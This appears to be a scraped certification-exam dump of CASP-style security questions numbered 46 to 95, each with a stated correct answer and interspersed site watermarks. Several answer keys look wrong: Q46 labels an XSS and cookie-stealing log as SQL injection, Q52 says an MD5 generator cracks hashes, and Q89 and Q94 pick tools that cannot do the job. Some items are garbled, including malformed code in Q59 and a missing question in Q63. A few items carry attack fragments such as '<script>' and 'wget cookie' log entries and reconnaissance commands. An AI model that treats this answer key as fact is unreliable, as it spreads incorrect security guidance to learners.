| Monday<br>10:03:05 | 172.16.34.20 | Joe      | Phone            | Widget30 | Love the<br>Widget! |
| Monday<br>10:04:01 | 10.14.34.55  | ggggg    | Phone            | Widget1  | <script>            |
| Monday<br>10:05:05 | 10.14.34.55  | hhhhh    | Phone            | Widget1  | wget cookie         |
| Monday<br>10:05:05 | 10.14.34.55  | iiii     | Phone            | Widget1  | None left           |
| Monday<br>10:05:06 | 10.14.34.55  | llll     | Phone            | Widget1  | None left           |

Which of the following is the MOST likely type of activity occurring?

- A. SQL injection
- B. XSS scanning
- C. Fuzzing
- D. Brute forcing

**Correct Answer:** A

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 47

An organization has established the following controls matrix:

|                        | Minimum                      | Moderate        | High                  |
|------------------------|------------------------------|-----------------|-----------------------|
| Physical Security      | Cylinder Lock                | Cipher Lock     | Proximity Access Card |
| Environmental Security | Surge Protector              | UPS             | Generator             |
| Data Security          | Context-Based Authentication | MFA             | FDE                   |
| Application Security   | Peer Review                  | Static Analysis | Penetration Testing   |
| Logical Security       | HIDS                         | NIDS            | NIPS                  |

The following control sets have been defined by the organization and are applied in aggregate fashion:

- Systems containing PII are protected with the minimum control set.
- Systems containing medical data are protected at the moderate level.
- Systems containing cardholder data are protected at the high level.

<https://www.vceplus.com/>

The organization is preparing to deploy a system that protects the confidentiality of a database containing PII and medical data from clients. Based on the controls classification, which of the following controls would BEST meet these requirements?

- A. Proximity card access to the server room, context-based authentication, UPS, and full-disk encryption for the database server.
- B. Cipher lock on the server room door, FDE, surge protector, and static analysis of all application code.
- C. Peer review of all application changes, static analysis of application code, UPS, and penetration testing of the complete system.
- D. Intrusion detection capabilities, network-based IPS, generator, and context-based authentication.

**Correct Answer:** D

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 48

A company's existing forward proxies support software-based TLS decryption, but are currently at 60% load just dealing with AV scanning and content analysis for HTTP traffic. More than 70% outbound web traffic is currently encrypted. The switching and routing network infrastructure precludes adding capacity, preventing the installation of a dedicated TLS decryption system. The network firewall infrastructure is currently at 30% load and has software decryption modules that can be activated by purchasing additional license keys. An existing project is rolling out agent updates to end-user desktops as part of an endpoint security refresh.

Which of the following is the BEST way to address these issues and mitigate risks to the organization?

- A. Purchase the SSL, decryption license for the firewalls and route traffic back to the proxies for end-user categorization and malware analysis.
- B. Roll out application whitelisting to end-user desktops and decommission the existing proxies, freeing up network ports.
- C. Use an EDP solution to address the malware issue and accept the diminishing role of the proxy for URL categorization in the short term.
- D. Accept the current risk and seek possible funding approval in the next budget cycle to replace the existing proxies with ones with more capacity.

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 49

A recent CRM upgrade at a branch office was completed after the desired deadline. Several technical issues were found during the upgrade and need to be discussed in depth before the next branch office is upgraded.

Which of the following should be used to identify weak processes and other vulnerabilities?

- A. Gap analysis
- B. Benchmarks and baseline results
- C. Risk assessment
- D. Lessons learned report

**Correct Answer:** D

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 50

A threat advisory alert was just emailed to the IT security staff. The alert references specific types of host operating systems that can allow an unauthorized person to access files on a system remotely. A fix was recently published, but it requires a recent endpoint protection engine to be installed prior to running the fix.

Which of the following MOST likely need to be configured to ensure the system are mitigated accordingly? (Select two.)

- A. Antivirus
- B. HIPS
- C. Application whitelisting
- D. Patch management
- E. Group policy implementation
- F. Firmware updates



**Correct Answer:** DF

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 51

A network engineer is attempting to design-in resiliency characteristics for an enterprise network's VPN services.

If the engineer wants to help ensure some resilience against zero-day vulnerabilities exploited against the VPN implementation, which of the following decisions would BEST support this objective?

- A. Implement a reverse proxy for VPN traffic that is defended and monitored by the organization's SOC with near-real-time alerting to administrators.
- B. Subscribe to a managed service provider capable of supporting the mitigation of advanced DDoS attacks on the enterprise's pool of VPN concentrators.

<https://www.vceplus.com/>

- C. Distribute the VPN concentrators across multiple systems at different physical sites to ensure some backup services are available in the event of primary site loss.
- D. Employ a second VPN layer concurrently where the other layer's cryptographic implementation is sourced from a different vendor.

**Correct Answer:** D

**Section:** (none)

**Explanation**

**Explanation/Reference:**

### QUESTION 52

An information security officer is responsible for one secure network and one office network. Recent intelligence suggests there is an opportunity for attackers to gain access to the secure network due to similar login credentials across networks. To determine the users who should change their information, the information security officer uses a tool to scan a file with hashed values on both networks and receives the following data:

| Corporate Network |            | Secure Network |            |
|-------------------|------------|----------------|------------|
| james.bond        | asHU8\$1bg | jbond          | asHU8\$1bg |
| tom.jones         | wit4njyt%I | tom.jones      | wit4njyt%I |
| dade.murphy       | mUrpHTIME7 | d.murph3       | t%w3BT9)n  |
| herbie.hancock    | hh2016!#   | hhanco         | hh2016!#2  |
| suzy.smith        | lLi*#HFadf | ssmith         | lLI*#HFadf |

Which of the following tools was used to gather this information from the hashed values in the file?

- A. Vulnerability scanner
- B. Fuzzer
- C. MD5 generator
- D. Password cracker
- E. Protocol analyzer

**Correct Answer:** C

**Section:** (none)

**Explanation****Explanation/Reference:****QUESTION 53**

A Chief Information Security Officer (CISO) is reviewing and revising system configuration and hardening guides that were developed internally and have been used several years to secure the organization's systems. The CISO knows improvements can be made to the guides.

Which of the following would be the BEST source of reference during the revision process?

- A. CVE database
- B. Internal security assessment reports
- C. Industry-accepted standards
- D. External vulnerability scan reports
- E. Vendor-specific implementation guides

**Correct Answer:** A

**Section:** (none)

**Explanation****Explanation/Reference:****QUESTION 54**

A systems administrator recently joined an organization and has been asked to perform a security assessment of controls on the organization's file servers, which contain client data from a number of sensitive systems. The administrator needs to compare documented access requirements to the access implemented within the file system.

Which of the following is MOST likely to be reviewed during the assessment? (Select two.)

- A. Access control list
- B. Security requirements traceability matrix
- C. Data owner matrix
- D. Roles matrix
- E. Data design document
- F. Data access policies

**Correct Answer:** DF

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 55**

Security policies that are in place at an organization prohibit USB drives from being utilized across the entire enterprise, with adequate technical controls in place to block them. As a way to still be able to work from various locations on different computing resources, several sales staff members have signed up for a web-based storage solution without the consent of the IT department. However, the operations department is required to use the same service to transmit certain business partner documents.

Which of the following would BEST allow the IT department to monitor and control this behavior?

- A. Enabling AAA
- B. Deploying a CASB
- C. Configuring an NGFW
- D. Installing a WAF
- E. Utilizing a vTPM



**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 56**

Legal counsel has notified the information security manager of a legal matter that will require the preservation of electronic records for 2000 sales force employees. Source records will be email, PC, network shares, and applications.

After all restrictions have been lifted, which of the following should the information manager review?

- A. Data retention policy
- B. Legal hold
- C. Chain of custody D. Scope statement



**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 57

While attending a meeting with the human resources department, an organization's information security officer sees an employee using a username and password written on a memo pad to log into a specific service. When the information security officer inquires further as to why passwords are being written down, the response is that there are too many passwords to remember for all the different services the human resources department is required to use.



Additionally, each password has specific complexity requirements and different expiration time frames. Which of the following would be the BEST solution for the information security officer to recommend?

- A. Utilizing MFA
- B. Implementing SSO
- C. Deploying 802.1X
- D. Pushing SAML adoption
- E. Implementing TACACS

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 58

Which of the following is the GREATEST security concern with respect to BYOD?

<https://www.vceplus.com/>

- A. The filtering of sensitive data out of data flows at geographic boundaries.
- B. Removing potential bottlenecks in data transmission paths.
- C. The transfer of corporate data onto mobile corporate devices.
- D. The migration of data into and out of the network in an uncontrolled manner.

**Correct Answer:** D

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 59

Given the following code snippet:

```
SecCond = "1SS"
SecStatus = false
try (
  if (SecStatus)
    SecCond = "2SS"
    console.log("ship to ship")
  else
    SecCond = "normal operations"
    console.log("nothing to see here")
} catch (e) {
  SecCond = "normal operations"
  console.log(e)
  console.log("Exception logged")
}
```



Which of the following failure modes would the code exhibit?

- A. Open
- B. Secure
- C. Halt
- D. Exception

**Correct Answer:** D

**Section:** (none)

<https://www.vceplus.com/>

## Explanation

### Explanation/Reference:

#### QUESTION 60

A medical facility wants to purchase mobile devices for doctors and nurses. To ensure accountability, each individual will be assigned a separate mobile device. Additionally, to protect patients' health information, management has identified the following requirements:

- Data must be encrypted at rest.
  - The device must be disabled if it leaves the facility. ▪
- The device must be disabled when tampered with.

Which of the following technologies would BEST support these requirements? (Select two.)

- A. eFuse
- B. NFC
- C. GPS
- D. Biometric
- E. USB 4.1
- F. MicroSD



**Correct Answer:** CD

**Section:** (none)

## Explanation

### Explanation/Reference:

#### QUESTION 61

A security administrator wants to implement two-factor authentication for network switches and routers. The solution should integrate with the company's RADIUS server, which is used for authentication to the network infrastructure devices. The security administrator implements the following:

- An HOTP service is installed on the RADIUS server.
- The RADIUS server is configured to require the HOTP service for authentication.

The configuration is successfully tested using a software supplicant and enforced across all network devices. Network administrators report they are unable to log onto the network devices because they are not being prompted for the second factor.

Which of the following should be implemented to BEST resolve the issue?

- A. Replace the password requirement with the second factor. Network administrators will enter their username and then enter the token in place of their password in the password field.
- B. Configure the RADIUS server to accept the second factor appended to the password. Network administrators will enter a password followed by their token in the password field.
- C. Reconfigure network devices to prompt for username, password, and a token. Network administrators will enter their username and password, and then they will enter the token.
- D. Install a TOTP service on the RADIUS server in addition to the HOTP service. Use the HOTP on older devices that do not support two-factor authentication. Network administrators will use a web portal to log onto these devices.

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 62

Following a merger, the number of remote sites for a company has doubled to 52. The company has decided to secure each remote site with an NGFW to provide web filtering, NIDS/NIPS, and network antivirus. The Chief Information Officer (CIO) has requested that the security engineer provide recommendations on sizing for the firewall with the requirements that it be easy to manage and provide capacity for growth.

The tables below provide information on a subset of remote sites and the firewall options:

| Location     | # of Users | Connectivity | Bandwidth Utilization |
|--------------|------------|--------------|-----------------------|
| St.Louis     | 18         | 50 Mbps      | 20 Mbps               |
| Des Moines   | 12         | 25 Mbps      | 19 Mbps               |
| Chicago      | 27         | 100 Mbps     | 41 Mbps               |
| Rapid City   | 6          | 10 Mbps      | 8 Mbps                |
| Indianapolis | 7          | 12 Mbps      | 8 Mbps                |

| Vendor | Maximum Recommended Devices | Firewall Throughput | Full UTM? | Centralized Management Available? |
|--------|-----------------------------|---------------------|-----------|-----------------------------------|
| A      | 40                          | 150 Mbps            | Y         | Y                                 |
| B      | 60                          | 400 Mbps            | N         | Y                                 |
| C      | 25                          | 200 Mbps            | N         | N                                 |
| D      | 25                          | 100 Mbps            | Y         | Y                                 |

Which of the following would be the BEST option to recommend to the CIO?

- A. Vendor C for small remote sites, and Vendor B for large sites.
- B. Vendor B for all remote sites
- C. Vendor C for all remote sites D. Vendor A for all remote sites
- E. Vendor D for all remote sites

**Correct Answer:** D

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 63

Given the following output from a security tool in Kali:



[12:17:41] dumping options:

filename: </usr/share/sectools/scans>

state: <8>

lineo: <56>

literals: <74>

sequences: [34]

symbols: [0]

req\_del: <200>

mseq\_len: <1024>

plugin: <none>

s\_syms: <0>

literal [1] = [jf2d43kaj4i9eahfh8fbiud8sd8sdhfdfhj9]



- A. Log reduction
- B. Network enumerator
- C. Fuzzer
- D. SCAP scanner

**Correct Answer:** D

**Section:** (none)

**Explanation**

**Explanation/Reference:**

**QUESTION 64**

Due to a recent breach, the Chief Executive Officer (CEO) has requested the following activities be conducted during incident response planning:

- Involve business owners and stakeholders
- Create an applicable scenario
- Conduct a biannual verbal review of the incident response plan ▪
- Report on the lessons learned and gaps identified

Which of the following exercises has the CEO requested?

- A. Parallel operations
- B. Full transition
- C. Internal review
- D. Tabletop
- E. Partial simulation

**Correct Answer:** C

**Section:** (none)

**Explanation**

**Explanation/Reference:**

**QUESTION 65**

A government organization operates and maintains several ICS environments. The categorization of one of the ICS environments led to a moderate baseline. The organization has complied a set of applicable security controls based on this categorization.

Given that this is a unique environment, which of the following should the organization do NEXT to determine if other security controls should be considered?

- A. Check for any relevant or required overlays.
- B. Review enhancements within the current control set.
- C. Modify to a high-baseline set of controls.
- D. Perform continuous monitoring.

**Correct Answer:** C

**Section:** (none)

**Explanation**

**Explanation/Reference:**

<https://www.vceplus.com/>

**QUESTION 66**

The director of sales asked the development team for some small changes to increase the usability of an application used by the sales team. Prior security reviews of the code showed no significant vulnerabilities, and since the changes were small, they were given a peer review and then pushed to the live environment. Subsequent vulnerability scans now show numerous flaws that were not present in the previous versions of the code.

Which of the following is an SDLC best practice that should have been followed?

- A. Versioning
- B. Regression testing
- C. Continuous integration
- D. Integration testing

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

**QUESTION 67**

An organization is engaged in international business operations and is required to comply with various legal frameworks. In addition to changes in legal frameworks, which of the following is a primary purpose of a compliance management program?

- A. Following new requirements that result from contractual obligations
- B. Answering requests from auditors that relate to e-discovery
- C. Responding to changes in regulatory requirements
- D. Developing organizational policies that relate to hiring and termination procedures

**Correct Answer:** C

**Section:** (none)

**Explanation**

**Explanation/Reference:**

**QUESTION 68**

Company.org has requested a black-box security assessment be performed on key cyber terrain. One area of concern is the company's SMTP services. The security assessor wants to run reconnaissance before taking any additional action and wishes to determine which SMTP server is Internet-facing.

Which of the following commands should the assessor use to determine this information?



- A. `dnsrecon -d company.org -t SOA`
- B. `dig company.org mx`
- C. `nc -v company.org`
- D. `whois company.org`

**Correct Answer:** A

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 69

A medical device company is implementing a new COTS antivirus solution in its manufacturing plant. All validated machines and instruments must be retested for interoperability with the new software.

Which of the following would BEST ensure the software and instruments are working as designed?

- A. System design documentation
- B. User acceptance testing
- C. Peer review
- D. Static code analysis testing
- E. Change control documentation

**Correct Answer:** A

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 70

A company has gone through a round of phishing attacks. More than 200 users have had their workstation infected because they clicked on a link in an email. An incident analysis has determined an executable ran and compromised the administrator account on each workstation. Management is demanding the information security team prevent this from happening again.

Which of the following would BEST prevent this from happening again?

- A. Antivirus

- B. Patch management
- C. Log monitoring
- D. Application whitelisting
- E. Awareness training

**Correct Answer:** A

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 71

An internal staff member logs into an ERP platform and clicks on a record. The browser URL changes to:

URL: `http://192.168.0.100/ERP/accountId=5&action=SELECT`

Which of the following is the MOST likely vulnerability in this ERP platform?

- A. Brute forcing of account credentials
- B. Plain-text credentials transmitted over the Internet
- C. Insecure direct object reference
- D. SQL injection of ERP back end

**Correct Answer:** C

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 72

Providers at a healthcare system with many geographically dispersed clinics have been fined five times this year after an auditor received notice of the following SMS messages:

|   | Date      | Subject               | Message                                |
|---|-----------|-----------------------|--|
| 1 | 5/12/2017 | Change of room        | Patient John Doe is now in room 201    |
| 2 | 5/12/2017 | Prescription change   | Ann Smith – add 5mg                    |
| 3 | 5/13/2017 | Appointment cancelled | John Doe cancelled                     |
| 4 | 5/14/2017 | Follow-up visit       | Ann Smith scheduled a follow-up        |
| 5 | 5/20/2017 | Emergency room        | Ann Doe – patient #37125 critical      |
| 6 | 5/25/2017 | Prescription overdose | John Smith – patient #25637 in room 37 |

Which of the following represents the BEST solution for preventing future files?

- A. Implement a secure text-messaging application for mobile devices and workstations.
- B. Write a policy requiring this information to be given over the phone only.
- C. Provide a courier service to deliver sealed documents containing public health informatics.
- D. Implement FTP services between clinics to transmit text documents with the information.
- E. Implement a system that will tokenize patient numbers.

**Correct Answer:** A

**Section:** (none)

**Explanation**

**Explanation/Reference:**

### QUESTION 73

An information security manager is concerned that connectivity used to configure and troubleshoot critical network devices could be attacked. The manager has tasked a network security engineer with meeting the following requirements:

<https://www.vceplus.com/>

- Encrypt all traffic between the network engineer and critical devices.
  - Segregate the different networking planes as much as possible. ▪
- Do not let access ports impact configuration tasks.

Which of the following would be the BEST recommendation for the network security engineer to present?

- A. Deploy control plane protections.
- B. Use SSH over out-of-band management.
- C. Force only TACACS to be allowed.
- D. Require the use of certificates for AAA.

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 74

A penetration tester noticed special characters in a database table. The penetration tester configured the browser to use an HTTP interceptor to verify that the frontend user registration web form accepts invalid input in the user's age field. The developer was notified and asked to fix the issue.

Which of the following is the MOST secure solution for the developer to implement?

- A. IF \$AGE == "!@#%^&\*()\_+<>?":{}[]" THEN ERROR
- B. IF \$AGE == [1234567890] {1,3} THEN CONTINUE
- C. IF \$AGE != "a-zA-Z!@#%^&\*()\_+<>?":{}[]" THEN CONTINUE
- D. IF \$AGE == [1-0] {0,2} THEN CONTINUE

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 75

A managed service provider is designing a log aggregation service for customers who no longer want to manage an internal SIEM infrastructure. The provider expects that customers will send all types of logs to them, and that log files could contain very sensitive entries. Customers have indicated they want on-premises and cloud-based infrastructure logs to be stored in this new service. An engineer, who is designing the new service, is deciding how to segment customers.

<https://www.vceplus.com/>

Which of the following is the BEST statement for the engineer to take into consideration?

- A. Single-tenancy is often more expensive and has less efficient resource utilization. Multi-tenancy may increase the risk of cross-customer exposure in the event of service vulnerabilities.
- B. The managed service provider should outsource security of the platform to an existing cloud company. This will allow the new log service to be launched faster and with well-tested security controls.
- C. Due to the likelihood of large log volumes, the service provider should use a multi-tenancy model for the data storage tier, enable data deduplication for storage cost efficiencies, and encrypt data at rest.
- D. The most secure design approach would be to give customers on-premises appliances, install agents on endpoints, and then remotely manage the service via a VPN.

**Correct Answer:** A

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 76

At a meeting, the systems administrator states the security controls a company wishes to implement seem excessive, since all of the information on the company's web servers can be obtained publicly and is not proprietary in any way. The next day the company's website is defaced as part of an SQL injection attack, and the company receives press inquiries about the message the attackers displayed on the website.

Which of the following is the FIRST action the company should take?

- A. Refer to and follow procedures from the company's incident response plan.
- B. Call a press conference to explain that the company has been hacked.
- C. Establish chain of custody for all systems to which the systems administrator has access.
- D. Conduct a detailed forensic analysis of the compromised system.
- E. Inform the communications and marketing department of the attack details.

**Correct Answer:** A

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 77

Click on the exhibit buttons to view the four messages.

**Message 1**

**Message 2**

**Message 3**

**Message 4**

Message 1

Send

To:

Cc:

Subject:

Security Escalation for ProjectX

I am escalating a security issue for ProjectX, which is an initiative to deliver exciting banking features to customers, with an initial release scheduled for next week.

The project had originally planned to implement storage-level encryption of customer details, but it is unable to deliver this security control in time for next week's launch. The impact will be minimized if the project agrees on a post-launch mitigation date for this security control, as well as implementing detective controls in the interim (i.e., additional staff performing log monitoring of all calls to the storage module).

Is leadership willing to accept this project risk or are additional details needed to be able to reach a decision?

Send


To:

Cc:

Subject: Security Vulnerability for ProjectX

It has come to my attention that ProjectX has a security vulnerability. The storage module does not encrypt sensitive customer details, and this could lead to a data breach, resulting in negative media attention.

My recommendation is to delay the launch until this security control is implemented. Do you concur?

A watermark logo for CEplus.com, featuring a checkmark icon inside a square box followed by the text "CEplus.com".

Message 3

Send


To:

Cc:

Subject:

ALERT - Security Risks

ProjectX is not encrypting customer data!! This is probably a compliance issue. I really think the project should be put on hold until this critical vulnerability is fixed. The project team is not listening to me even though I told them they need to encrypt customer data. Can you please tell them this really needs to be fixed?

The logo for CEplus.com, featuring a checkmark icon inside a square box followed by the text "CEplus.com".



**Message 4**

|             |          |                    |
|-------------|----------|--------------------|
| <b>Send</b> | To:      |                    |
|             | Cc:      |                    |
|             | Subject: | Sensitive-Security |

As you maybe aware, prijectX is our new flagship customer banking platform in development, and it is launching next week with an initial set of features. The features include customer banking details, which are going to be real game-changers compared to what our competition is doing; so, the release is obviousle an important and timely one.

However, the project team has been able to implement all of the security controls that were agreed upon. The one I am really concerned about is encryption of customer details in the storage module. We had several meetings and came to an agreement that this would be done with AES-256 in GCM mode and by rotating the encryption key every 30 days to limit the effect of a key and would probably take another week or two to implement and test. This would obviously delay the launch. Is leadership comfortable accepting any consequences that may occur due to lack of encryption?

A security architect is working with a project team to deliver an important service that stores and processes customer banking details. The project, internally known as ProjectX, is due to launch its first set of features publicly within a week, but the team has not been able to implement encryption-at-rest of the customer records. The security architect is drafting an escalation email to senior leadership.

Which of the following BEST conveys the business impact for senior leadership?

- A. Message 1
- B. Message 2
- C. Message 3
- D. Message 4

**Correct Answer:** D

**Section:** (none)

**Explanation**

**Explanation/Reference:**

**QUESTION 78**

The Chief Executive Officer (CEO) of a small startup company has an urgent need for a security policy and assessment to address governance, risk management, and compliance. The company has a resource-constrained IT department, but has no information security staff. The CEO has asked for this to be completed in three months.

Which of the following would be the MOST cost-effective solution to meet the company's needs?

- A. Select one of the IT personnel to obtain information security training, and then develop all necessary policies and documents in-house.
- B. Accept all risks associated with information security, and then bring up the issue again at next year's annual board meeting.
- C. Release an RFP to consultancy firms, and then select the most appropriate consultant who can fulfill the requirements.
- D. Hire an experienced, full-time information security team to run the startup company's information security department.

**Correct Answer:** C

**Section:** (none)

**Explanation**

**Explanation/Reference:**

**QUESTION 79**

As part of an organization's compliance program, administrators must complete a hardening checklist and note any potential improvements. The process of noting improvements in the checklist is MOST likely driven by:

- A. the collection of data as part of the continuous monitoring program.
- B. adherence to policies associated with incident response.
- C. the organization's software development life cycle.
- D. changes in operating systems or industry trends.

**Correct Answer:** A

**Section:** (none)

**Explanation**

**Explanation/Reference:**

**QUESTION 80**

A security engineer has been hired to design a device that will enable the exfiltration of data from within a well-defended network perimeter during an authorized test. The device must bypass all firewalls and NIDS in place, as well as allow for the upload of commands from a centralized command and control answer. The total cost of the device must be kept to a minimum in case the device is discovered during an assessment. Which of the following tools should the engineer load onto the device being designed?

<https://www.vceplus.com/>

- A. Custom firmware with rotating key generation
- B. Automatic MITM proxy
- C. TCP beacon broadcast software
- D. Reverse shell endpoint listener

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 81

A security consultant is improving the physical security of a sensitive site and takes pictures of the unbranded building to include in the report. Two weeks later, the security consultant misplaces the phone, which only has one hour of charge left on it. The person who finds the phone removes the MicroSD card in an attempt to discover the owner to return it.

The person extracts the following data from the phone and EXIF data from some files:

DCIM Images folder  
Audio books folder  
Torrentz  
My TAX.xls  
Consultancy HR Manual.doc  
Camera: SM-G950F  
Exposure time: 1/60s  
Location: 3500 Lacey Road USA

Which of the following BEST describes the security problem?

- A. MicroSD is not encrypted and also contains personal data.
- B. MicroSD contains a mixture of personal and work data.
- C. MicroSD is not encrypted and contains geotagging information.
- D. MicroSD contains pirated software and is not encrypted.

**Correct Answer:** A

**Section:** (none)

**Explanation**

**Explanation/Reference:**

<https://www.vceplus.com/>

**QUESTION 82**

An engineer needs to provide access to company resources for several offshore contractors. The contractors require:

- Access to a number of applications, including internal websites
- Access to database data and the ability to manipulate it
- The ability to log into Linux and Windows servers remotely

Which of the following remote access technologies are the BEST choices to provide all of this access securely? (Choose two.)

- A. VTC
- B. VRRP
- C. VLAN
- D. VDI
- E. VPN
- F. Telnet

**Correct Answer:** DE

**Section:** (none)

**Explanation**

**Explanation/Reference:**

**QUESTION 83**

A project manager is working with a team that is tasked to develop software applications in a structured environment and host them in a vendor's cloud-based infrastructure. The organization will maintain responsibility for the software but will not manage the underlying server applications. Which of the following does the organization plan to leverage?

- A. SaaS
- B. PaaS
- C. IaaS
- D. Hybrid cloud
- E. Network virtualization

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

<https://www.vceplus.com/>

**QUESTION 84**

During the deployment of a new system, the implementation team determines that APIs used to integrate the new system with a legacy system are not functioning properly. Further investigation shows there is a misconfigured encryption algorithm used to secure data transfers between systems. Which of the following should the project manager use to determine the source of the defined algorithm in use?

- A. Code repositories
- B. Security requirements traceability matrix
- C. Software development lifecycle
- D. Data design diagram
- E. Roles matrix
- F. Implementation guide

**Correct Answer:** F

**Section:** (none)

**Explanation**

**Explanation/Reference:**

**QUESTION 85**

An administrator has noticed mobile devices from an adjacent company on the corporate wireless network. Malicious activity is being reported from those devices. To add another layer of security in an enterprise environment, an administrator wants to add contextual authentication to allow users to access enterprise resources only while present in corporate buildings. Which of the following technologies would accomplish this?

- A. Port security
- B. Rogue device detection
- C. Bluetooth
- D. GPS

**Correct Answer:** D

**Section:** (none)

**Explanation**

**Explanation/Reference:**

**QUESTION 86**

A security manager recently categorized an information system. During the categorization effort, the manager determined the loss of integrity of a specific information type would impact business significantly. Based on this, the security manager recommends the implementation of several solutions. Which of the following, when combined, would BEST mitigate this risk? (Select TWO.)

- A. Access control
- B. Whitelisting
- C. Signing
- D. Validation
- E. Boot attestation

**Correct Answer:** AD

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 87

A security analyst is reviewing the following company requirements prior to selecting the appropriate technical control configuration and parameter:

RTO: 2 days  
RPO: 36 hours  
MTTR: 24 hours  
MTBF: 60 days

Which of the following solutions will address the RPO requirements?

- A. Remote Syslog facility collecting real-time events
- B. Server farm behind a load balancer delivering five-nines uptime
- C. Backup solution that implements daily snapshots
- D. Cloud environment distributed across geographic regions

**Correct Answer:** C

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 88

<https://www.vceplus.com/>

A penetration test is being scoped for a set of web services with API endpoints. The APIs will be hosted on existing web application servers. Some of the new APIs will be available to unauthenticated users, but some will only be available to authenticated users. Which of the following tools or activities would the penetration tester MOST likely use or do during the engagement? (Select TWO.)

- A. Static code analyzer
- B. Intercepting proxy
- C. Port scanner
- D. Reverse engineering
- E. Reconnaissance gathering
- F. User acceptance testing

**Correct Answer:** BE

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 89

A security analyst who is concerned about sensitive data exfiltration reviews the following:

```
10:01:32. 384853 IP (tos 0x0, ttl 64, id 40587, offset 0, flags [DF], proto ICMP (1), length 1500
192.168.1.20 -> 100.61.100.2: ICMP echo reply, id 1592, seq 8, length 1500
```

Which of the following tools would allow the analyst to confirm if data exfiltration is occurring?

- A. Port scanner
- B. SCAP tool
- C. File integrity monitor
- D. Protocol analyzer

**Correct Answer:** A

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 90

As part of the development process for a new system, the organization plans to perform requirements analysis and risk assessment. The new system will replace a legacy system, which the organization has used to perform data analytics. Which of the following is MOST likely to be part of the activities conducted by management during this phase of the project?

- A. Static code analysis and peer review of all application code
- B. Validation of expectations relating to system performance and security
- C. Load testing the system to ensure response times is acceptable to stakeholders
- D. Design reviews and user acceptance testing to ensure the system has been deployed properly
- E. Regression testing to evaluate interoperability with the legacy system during the deployment

**Correct Answer: C**

**Section: (none)**

**Explanation**

**Explanation/Reference:**

#### QUESTION 91

A system owner has requested support from data owners to evaluate options for the disposal of equipment containing sensitive data. Regulatory requirements state the data must be rendered unrecoverable via logical means or physically destroyed. Which of the following factors is the regulation intended to address?

- A. Sovereignty
- B. E-waste
- C. Remanence
- D. Deduplication

**Correct Answer: B**

**Section: (none)**

**Explanation**

**Explanation/Reference:**

#### QUESTION 92

During a criminal investigation, the prosecutor submitted the original hard drive from the suspect's computer as evidence. The defense objected during the trial proceedings, and the evidence was rejected. Which of the following practices should the prosecutor's forensics team have used to ensure the suspect's data would be admissible as evidence? (Select TWO.)

- A. Follow chain of custody best practices
- B. Create an identical image of the original hard drive, store the original securely, and then perform forensics only on the imaged drive.
- C. Use forensics software on the original hard drive and present generated reports as evidence

<https://www.vceplus.com/>



- D. Create a tape backup of the original hard drive and present the backup as evidence
- E. Create an exact image of the original hard drive for forensics purposes, and then place the original back in service

**Correct Answer:** AB

**Section:** (none)

**Explanation**

**Explanation/Reference:**

### QUESTION 93

Following a recent data breach, a company has hired a new Chief Information Security Officer (CISO). The CISO is very concerned about the response time to the previous breach and wishes to know how the security team expects to react to a future attack. Which of the following is the BEST method to achieve this goal while minimizing disruption?

- A. Perform a black box assessment
- B. Hire an external red team audit
- C. Conduct a tabletop exercise.
- D. Recreate the previous breach.
- E. Conduct an external vulnerability assessment.



**Correct Answer:** C

**Section:** (none)

**Explanation**

**Explanation/Reference:**

### QUESTION 94

A technician is validating compliance with organizational policies. The user and machine accounts in the AD are not set to expire, which is non-compliant. Which of the following network tools would provide this type of information?

- A. SIEM server
- B. IDS appliance
- C. SCAP scanner
- D. HTTP interceptor

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 95**

An organization's Chief Financial Officer (CFO) was the target of several different social engineering attacks recently. The CFO has subsequently worked closely with the Chief Information Security Officer (CISO) to increase awareness of what attacks may look like. An unexpected email arrives in the CFO's inbox from a familiar name with an attachment. Which of the following should the CISO task a security analyst with to determine whether or not the attachment is safe?

- A. Place it in a malware sandbox.
- B. Perform a code review of the attachment.
- C. Conduct a memory dump of the CFO's PC.
- D. Run a vulnerability scan on the email server.

**Correct Answer: A**

**Section: (none)**

**Explanation**

**Explanation/Reference:**



<https://www.vceplus.com/>

<https://www.vceplus.com/>